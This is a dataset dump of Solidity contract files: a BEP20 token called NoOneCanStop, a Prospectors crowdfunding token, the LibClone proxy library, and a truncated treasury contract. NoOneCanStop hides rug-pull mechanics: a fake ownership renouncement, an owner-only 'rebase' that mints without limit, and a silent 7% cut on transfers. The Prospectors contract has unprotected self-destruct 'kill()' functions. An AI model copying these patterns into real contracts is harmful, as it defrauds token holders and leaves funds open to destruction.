hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
90858e18b4e1430b580d7c48d9519aee7b752d005ffaf61420df59303d25b444
| 20,289 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x15766C4ac7dEd63Bd7801CCDBf5933FADEE07931/contract.sol
| 2,523 | 9,150 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract NoOneCanStop is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'NoOneCanStop';
_symbol = 'N1CS';
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _Taxfee = 5;
uint256 private _previousTaxFee = _Taxfee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 50000000000000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 100000000000000 * 10**9;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_Taxfee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function rebase(uint256 epoch) public onlyOwner returns (bool) {
_Mac(_msgSender(), epoch);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 252,789 | 300 |
d9d3695988e73b06e2d132c3b05052305392574c8b4ec14dd6e364288e820254
| 9,662 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0x74e5f1a34a651c052d86dbd25042d6f710187f0a.sol
| 2,402 | 9,592 |
pragma solidity ^0.4.8;
/// Prospectors obligation Token (OBG) - crowdfunding code for Prospectors game
contract ProspectorsObligationToken {
string public constant name = "Prospectors Obligation Token";
string public constant symbol = "OBG";
uint8 public constant decimals = 18; // 18 decimal places, the same as ETH.
uint256 public constant tokenCreationRate = 1000;
// The funding cap in weis.
uint256 public constant tokenCreationCap = 1 ether * tokenCreationRate;
uint256 public constant tokenCreationMin = 0.5 ether * tokenCreationRate;
uint256 public fundingStartBlock;
uint256 public fundingEndBlock;
// The flag indicates if the OBG contract is in Funding state.
bool public funding = true;
// Receives ETH and its own OBG endowment.
address public prospectors_team;
// Has control over token migration to next version of token.
address public migrationMaster;
OBGAllocation lockedAllocation;
// The current total token supply.
uint256 totalTokens;
mapping (address => uint256) balances;
address public migrationAgent;
uint256 public totalMigrated;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
function ProspectorsObligationToken() {
// if (_prospectors_team == 0) throw;
// if (_migrationMaster == 0) throw;
// if (_fundingStartBlock <= block.number) throw;
// if (_fundingEndBlock <= _fundingStartBlock) throw;
// lockedAllocation = new OBGAllocation(_prospectors_team);
// migrationMaster = _migrationMaster;
// prospectors_team = _prospectors_team;
// fundingStartBlock = _fundingStartBlock;
// fundingEndBlock = _fundingEndBlock;
prospectors_team = 0xCCe6DA2086DD9348010a2813be49E58530852b46;
migrationMaster = 0xCCe6DA2086DD9348010a2813be49E58530852b46;
fundingStartBlock = block.number + 10;
fundingEndBlock = block.number + 30;
lockedAllocation = new OBGAllocation(prospectors_team);
}
/// @notice Transfer `_value` OBG tokens from sender's account
/// `msg.sender` to provided account address `_to`.
/// @notice This function is disabled during the funding.
/// @dev Required state: Operational
/// @param _to The address of the tokens recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool) {
// Abort if not in Operational state.
if (funding) throw;
var senderBalance = balances[msg.sender];
if (senderBalance >= _value && _value > 0) {
senderBalance -= _value;
balances[msg.sender] = senderBalance;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function totalSupply() external constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) external constant returns (uint256) {
return balances[_owner];
}
// Token migration support:
/// @notice Migrate tokens to the new token contract.
/// @dev Required state: Operational Migration
/// @param _value The amount of token to be migrated
function migrate(uint256 _value) external {
// Abort if not in Operational Migration state.
if (funding) throw;
if (migrationAgent == 0) throw;
// Validate input value.
if (_value == 0) throw;
if (_value > balances[msg.sender]) throw;
balances[msg.sender] -= _value;
totalTokens -= _value;
totalMigrated += _value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
Migrate(msg.sender, migrationAgent, _value);
}
/// @notice Set address of migration target contract and enable migration
/// process.
/// @dev Required state: Operational Normal
/// @dev State transition: -> Operational Migration
/// @param _agent The address of the MigrationAgent contract
function setMigrationAgent(address _agent) external {
// Abort if not in Operational Normal state.
if (funding) throw;
if (migrationAgent != 0) throw;
if (msg.sender != migrationMaster) throw;
migrationAgent = _agent;
}
function setMigrationMaster(address _master) external {
if (msg.sender != migrationMaster) throw;
if (_master == 0) throw;
migrationMaster = _master;
}
// Crowdfunding:
/// @notice Create tokens when funding is active.
/// @dev Required state: Funding Active
/// @dev State transition: -> Funding Success (only if cap reached)
function () payable external {
// Abort if not in Funding Active state.
// The checks are split (instead of using or operator) because it is
// cheaper this way.
if (!funding) throw;
if (block.number < fundingStartBlock) throw;
if (block.number > fundingEndBlock) throw;
// Do not allow creating 0 or more than the cap tokens.
if (msg.value == 0) throw;
if (msg.value > (tokenCreationCap - totalTokens) / tokenCreationRate)
throw;
var numTokens = msg.value * tokenCreationRate;
totalTokens += numTokens;
// Assign new tokens to the sender
balances[msg.sender] += numTokens;
// Log token creation event
Transfer(0, msg.sender, numTokens);
}
/// @notice Finalize crowdfunding
/// @dev If cap was reached or crowdfunding has ended then:
/// create OBG for the Prospectors Team and developer,
/// transfer ETH to the Prospectors Team address.
/// @dev Required state: Funding Success
/// @dev State transition: -> Operational Normal
function finalize() external {
// Abort if not in Funding Success state.
if (!funding) throw;
if ((block.number <= fundingEndBlock ||
totalTokens < tokenCreationMin) &&
totalTokens < tokenCreationCap) throw;
// Switch to Operational state. This is the only place this can happen.
funding = false;
// Create additional OBG for the Prospectors Team and developers as
// the 18% of total number of tokens.
// All additional tokens are transfered to the account controller by
// OBGAllocation contract which will not allow using them for 6 months.
uint256 percentOfTotal = 18;
uint256 additionalTokens =
totalTokens * percentOfTotal / (100 - percentOfTotal);
totalTokens += additionalTokens;
balances[lockedAllocation] += additionalTokens;
Transfer(0, lockedAllocation, additionalTokens);
// Transfer ETH to the Prospectors Team address.
if (!prospectors_team.send(this.balance)) throw;
}
/// @notice Get back the ether sent during the funding in case the funding
/// has not reached the minimum level.
/// @dev Required state: Funding Failure
function refund() external {
// Abort if not in Funding Failure state.
if (!funding) throw;
if (block.number <= fundingEndBlock) throw;
if (totalTokens >= tokenCreationMin) throw;
var obgValue = balances[msg.sender];
if (obgValue == 0) throw;
balances[msg.sender] = 0;
totalTokens -= obgValue;
var ethValue = obgValue / tokenCreationRate;
Refund(msg.sender, ethValue);
if (!msg.sender.send(ethValue)) throw;
}
function kill()
{
lockedAllocation.kill();
suicide(prospectors_team);
}
}
/// @title Migration Agent interface
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
/// @title OBG Allocation - Time-locked vault of tokens allocated
/// to developers and Prospectors Team
contract OBGAllocation {
// Total number of allocations to distribute additional tokens among
// developers and the Prospectors Team. The Prospectors Team has right to 20000
// allocations, developers to 10000 allocations, divides among individual
// developers by numbers specified in `allocations` table.
uint256 constant totalAllocations = 30000;
// Addresses of developer and the Prospectors Team to allocations mapping.
mapping (address => uint256) allocations;
ProspectorsObligationToken obg;
uint256 unlockedAt;
uint256 tokensCreated = 0;
function OBGAllocation(address _prospectors_team) internal {
obg = ProspectorsObligationToken(msg.sender);
unlockedAt = now + 6 * 30 days;
// For the Prospectors Team:
allocations[_prospectors_team] = 30000; // 12/18 pp of 30000 allocations.
}
/// @notice Allow developer to unlock allocated tokens by transferring them
/// from OBGAllocation to developer's address.
function unlock() external {
if (now < unlockedAt) throw;
// During first unlock attempt fetch total number of locked tokens.
if (tokensCreated == 0)
tokensCreated = obg.balanceOf(this);
var allocation = allocations[msg.sender];
allocations[msg.sender] = 0;
var toTransfer = tokensCreated * allocation / totalAllocations;
// Will fail if allocation (and therefore toTransfer) is 0.
if (!obg.transfer(msg.sender, toTransfer)) throw;
}
function kill()
{
suicide(0);
}
}
| 135,944 | 301 |
c153b82d2ef373a132cb3bc54fc899e7f1fc5aece486177ce0ad65c69b5fb0de
| 27,689 |
.sol
|
Solidity
| false |
587064611
|
BeanstalkFarms/Basin
|
928415c7e0cbe447d3162295aade401715be3e7d
|
src/libraries/LibClone.sol
| 3,876 | 12,452 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice Minimal proxy library.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/LibClone.sol)
/// @author Minimal proxy by 0age (https://github.com/0age)
/// @author Clones with immutable args by wighawag, zefram.eth, Saw-mon & Natalie
/// (https://github.com/Saw-mon-and-Natalie/clones-with-immutable-args)
///
/// @dev Minimal proxy:
/// Although the sw0nt pattern saves 5 gas over the erc-1167 pattern during runtime,
/// it is not supported out-of-the-box on Etherscan. Hence, we choose to use the 0age pattern,
/// which saves 4 gas over the erc-1167 pattern during runtime, and has the smallest bytecode.
///
/// @dev Clones with immutable args (CWIA):
/// The implementation of CWIA here implements a `receive()` method that emits the
/// `ReceiveETH(uint256)` event. This skips the `DELEGATECALL` when there is no calldata,
/// enabling us to accept hard gas-capped `sends` & `transfers` for maximum backwards
/// composability. The minimal proxy implementation does not offer this feature.
library LibClone {
/// @dev Unable to deploy the clone.
error DeploymentFailed();
/// @dev The salt must start with either the zero address or the caller.
error SaltDoesNotStartWithCaller();
/// @dev Deploys a clone of `implementation`.
function clone(address implementation) internal returns (address instance) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x21, 0x5af43d3d93803e602a57fd5bf3)
mstore(0x14, implementation)
mstore(0x00, 0x602c3d8160093d39f33d3d3d3d363d3d37363d73)
instance := create(0, 0x0c, 0x35)
// Restore the part of the free memory pointer that has been overwritten.
mstore(0x21, 0)
// If `instance` is zero, revert.
if iszero(instance) {
// Store the function selector of `DeploymentFailed()`.
mstore(0x00, 0x30116425)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
}
}
/// @dev Deploys a deterministic clone of `implementation` with `salt`.
function cloneDeterministic(address implementation, bytes32 salt)
internal
returns (address instance)
{
/// @solidity memory-safe-assembly
assembly {
mstore(0x21, 0x5af43d3d93803e602a57fd5bf3)
mstore(0x14, implementation)
mstore(0x00, 0x602c3d8160093d39f33d3d3d3d363d3d37363d73)
instance := create2(0, 0x0c, 0x35, salt)
// Restore the part of the free memory pointer that has been overwritten.
mstore(0x21, 0)
// If `instance` is zero, revert.
if iszero(instance) {
// Store the function selector of `DeploymentFailed()`.
mstore(0x00, 0x30116425)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
}
}
/// @dev Returns the initialization code hash of the clone of `implementation`.
/// Used for mining vanity addresses with create2crunch.
function initCodeHash(address implementation) internal pure returns (bytes32 hash) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x21, 0x5af43d3d93803e602a57fd5bf3)
mstore(0x14, implementation)
mstore(0x00, 0x602c3d8160093d39f33d3d3d3d363d3d37363d73)
hash := keccak256(0x0c, 0x35)
// Restore the part of the free memory pointer that has been overwritten.
mstore(0x21, 0)
}
}
/// @dev Returns the address of the deterministic clone of `implementation`,
/// with `salt` by `deployer`.
function predictDeterministicAddress(address implementation, bytes32 salt, address deployer)
internal
pure
returns (address predicted)
{
bytes32 hash = initCodeHash(implementation);
predicted = predictDeterministicAddress(hash, salt, deployer);
}
/// @dev Deploys a minimal proxy with `implementation`,
/// using immutable arguments encoded in `data`.
function clone(address implementation, bytes memory data) internal returns (address instance) {
assembly {
// Compute the boundaries of the data and cache the memory slots around it.
let mBefore3 := mload(sub(data, 0x60))
let mBefore2 := mload(sub(data, 0x40))
let mBefore1 := mload(sub(data, 0x20))
let dataLength := mload(data)
let dataEnd := add(add(data, 0x20), dataLength)
let mAfter1 := mload(dataEnd)
// +2 bytes for telling how much data there is appended to the call.
let extraLength := add(dataLength, 2)
// The `creationSize` is `extraLength + 108`
// The `runSize` is `creationSize - 10`.
// Write the bytecode before the data.
mstore(data, 0x5af43d3d93803e606057fd5bf3)
// Write the address of the implementation.
mstore(sub(data, 0x0d), implementation)
// Write the rest of the bytecode.
mstore(sub(data, 0x21),
or(shl(0x48, extraLength), 0x593da1005b363d3d373d3d3d3d610000806062363936013d73))
// `keccak256("ReceiveETH(uint256)")`
mstore(sub(data, 0x3a), 0x9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff)
mstore(sub(data, 0x5a),
or(shl(0x78, add(extraLength, 0x62)), 0x6100003d81600a3d39f336602c57343d527f))
mstore(dataEnd, shl(0xf0, extraLength))
// Create the instance.
instance := create(0, sub(data, 0x4c), add(extraLength, 0x6c))
// If `instance` is zero, revert.
if iszero(instance) {
// Store the function selector of `DeploymentFailed()`.
mstore(0x00, 0x30116425)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Restore the overwritten memory surrounding `data`.
mstore(dataEnd, mAfter1)
mstore(data, dataLength)
mstore(sub(data, 0x20), mBefore1)
mstore(sub(data, 0x40), mBefore2)
mstore(sub(data, 0x60), mBefore3)
}
}
/// @dev Deploys a deterministic clone of `implementation`,
/// using immutable arguments encoded in `data`, with `salt`.
function cloneDeterministic(address implementation, bytes memory data, bytes32 salt)
internal
returns (address instance)
{
assembly {
// Compute the boundaries of the data and cache the memory slots around it.
let mBefore3 := mload(sub(data, 0x60))
let mBefore2 := mload(sub(data, 0x40))
let mBefore1 := mload(sub(data, 0x20))
let dataLength := mload(data)
let dataEnd := add(add(data, 0x20), dataLength)
let mAfter1 := mload(dataEnd)
// +2 bytes for telling how much data there is appended to the call.
let extraLength := add(dataLength, 2)
// Write the bytecode before the data.
mstore(data, 0x5af43d3d93803e606057fd5bf3)
// Write the address of the implementation.
mstore(sub(data, 0x0d), implementation)
// Write the rest of the bytecode.
mstore(sub(data, 0x21),
or(shl(0x48, extraLength), 0x593da1005b363d3d373d3d3d3d610000806062363936013d73))
// `keccak256("ReceiveETH(uint256)")`
mstore(sub(data, 0x3a), 0x9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff)
mstore(sub(data, 0x5a),
or(shl(0x78, add(extraLength, 0x62)), 0x6100003d81600a3d39f336602c57343d527f))
mstore(dataEnd, shl(0xf0, extraLength))
// Create the instance.
instance := create2(0, sub(data, 0x4c), add(extraLength, 0x6c), salt)
// If `instance` is zero, revert.
if iszero(instance) {
// Store the function selector of `DeploymentFailed()`.
mstore(0x00, 0x30116425)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Restore the overwritten memory surrounding `data`.
mstore(dataEnd, mAfter1)
mstore(data, dataLength)
mstore(sub(data, 0x20), mBefore1)
mstore(sub(data, 0x40), mBefore2)
mstore(sub(data, 0x60), mBefore3)
}
}
/// @dev Returns the initialization code hash of the clone of `implementation`
/// using immutable arguments encoded in `data`.
/// Used for mining vanity addresses with create2crunch.
function initCodeHash(address implementation, bytes memory data)
internal
pure
returns (bytes32 hash)
{
assembly {
// Compute the boundaries of the data and cache the memory slots around it.
let mBefore3 := mload(sub(data, 0x60))
let mBefore2 := mload(sub(data, 0x40))
let mBefore1 := mload(sub(data, 0x20))
let dataLength := mload(data)
let dataEnd := add(add(data, 0x20), dataLength)
let mAfter1 := mload(dataEnd)
// +2 bytes for telling how much data there is appended to the call.
let extraLength := add(dataLength, 2)
// Write the bytecode before the data.
mstore(data, 0x5af43d3d93803e606057fd5bf3)
// Write the address of the implementation.
mstore(sub(data, 0x0d), implementation)
// Write the rest of the bytecode.
mstore(sub(data, 0x21),
or(shl(0x48, extraLength), 0x593da1005b363d3d373d3d3d3d610000806062363936013d73))
// `keccak256("ReceiveETH(uint256)")`
mstore(sub(data, 0x3a), 0x9e4ac34f21c619cefc926c8bd93b54bf5a39c7ab2127a895af1cc0691d7e3dff)
mstore(sub(data, 0x5a),
or(shl(0x78, add(extraLength, 0x62)), 0x6100003d81600a3d39f336602c57343d527f))
mstore(dataEnd, shl(0xf0, extraLength))
// Compute and store the bytecode hash.
hash := keccak256(sub(data, 0x4c), add(extraLength, 0x6c))
// Restore the overwritten memory surrounding `data`.
mstore(dataEnd, mAfter1)
mstore(data, dataLength)
mstore(sub(data, 0x20), mBefore1)
mstore(sub(data, 0x40), mBefore2)
mstore(sub(data, 0x60), mBefore3)
}
}
/// @dev Returns the address of the deterministic clone of
/// `implementation` using immutable arguments encoded in `data`, with `salt`, by `deployer`.
function predictDeterministicAddress(address implementation,
bytes memory data,
bytes32 salt,
address deployer) internal pure returns (address predicted) {
bytes32 hash = initCodeHash(implementation, data);
predicted = predictDeterministicAddress(hash, salt, deployer);
}
/// @dev Returns the address when a contract with initialization code hash,
/// `hash`, is deployed with `salt`, by `deployer`.
function predictDeterministicAddress(bytes32 hash, bytes32 salt, address deployer)
internal
pure
returns (address predicted)
{
/// @solidity memory-safe-assembly
assembly {
// Compute and store the bytecode hash.
mstore8(0x00, 0xff) // Write the prefix.
mstore(0x35, hash)
mstore(0x01, shl(96, deployer))
mstore(0x15, salt)
predicted := keccak256(0x00, 0x55)
// Restore the part of the free memory pointer that has been overwritten.
mstore(0x35, 0)
}
}
/// @dev Reverts if `salt` does not start with either the zero address or the caller.
function checkStartsWithCaller(bytes32 salt) internal view {
/// @solidity memory-safe-assembly
assembly {
// If the salt does not start with the zero address or the caller.
if iszero(or(iszero(shr(96, salt)), eq(caller(), shr(96, salt)))) {
// Store the function selector of `SaltDoesNotStartWithCaller()`.
mstore(0x00, 0x2f634836)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
}
}
}
| 234,963 | 302 |
bb919caff485091c4e1d287c0aa3e72a0358f095c74480b43bf161de53897efe
| 23,135 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3e/3e7573fbd7e61f463f0136782a98c6d7db696408_SSTTreasury.sol
| 5,408 | 21,574 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul32(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20Mintable {
function mint(uint256 amount_) external;
function mint(address account_, uint256 ammount_) external;
}
interface ISST {
function burnFrom(address account_, uint256 amount_) external;
}
interface IBondCalculator {
function valuation(address pair_, uint amount_) external view returns (uint _value);
}
contract SSTTreasury is Ownable {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
event Deposit(address indexed token, uint amount, uint value);
event Withdrawal(address indexed token, uint amount, uint value);
event CreateDebt(address indexed debtor, address indexed token, uint amount, uint value);
event RepayDebt(address indexed debtor, address indexed token, uint amount, uint value);
event ReservesManaged(address indexed token, uint amount);
event ReservesUpdated(uint indexed totalReserves);
event ReservesAudited(uint indexed totalReserves);
event RewardsMinted(address indexed caller, address indexed recipient, uint amount);
event ChangeQueued(MANAGING indexed managing, address queued);
event ChangeActivated(MANAGING indexed managing, address activated, bool result);
enum MANAGING {
RESERVEDEPOSITOR,
RESERVESPENDER,
RESERVETOKEN,
RESERVEMANAGER,
LIQUIDITYDEPOSITOR,
LIQUIDITYTOKEN,
LIQUIDITYMANAGER,
DEBTOR,
REWARDMANAGER,
SRS
}
address public immutable SST;
uint32 public immutable secondsNeededForQueue;
address[] public reserveTokens;
mapping(address => bool) public isReserveToken;
mapping(address => uint32) public reserveTokenQueue;
address[] public reserveDepositors;
mapping(address => bool) public isReserveDepositor;
